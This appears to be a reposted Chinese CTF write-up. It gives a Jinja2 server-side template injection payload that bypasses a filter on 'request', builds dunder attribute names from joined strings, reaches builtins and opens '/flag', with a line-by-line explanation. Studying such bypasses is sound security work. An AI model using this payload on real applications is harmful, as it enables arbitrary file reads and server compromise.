赞
踩
过滤了request,之前的方法都不能用了,直接用终极代码
- ?name=
- {% set po=dict(po=a,p=a)|join%}
- {% set a=(()|select|string|list)|attr(po)(24)%}
- {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
- {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
- {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
- {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
- {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
- {% set chr=x.chr%}
- {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
- {%print(x.open(file).read())%}
代码解释是这样的
- 构造po="pop" #利用dict()|join拼接得到
- {% set po=dict(po=a,p=a)|join%}
-
- 等效于a=(()|select|string|list).pop(24),即a等价于下划线_
- {% set a=(()|select|string|list)|attr(po)(24)%}
-
- 构造ini="___init__"
- {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
-
- 构造glo="__globals__"
- {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
-
- 构造geti="__getitem__"
- {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
-
- 构造built="__builtins__"
- {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
-
- 调用chr()函数
- {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
- {% set chr=x.chr%}
-
- 构造file='/flag'
- {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。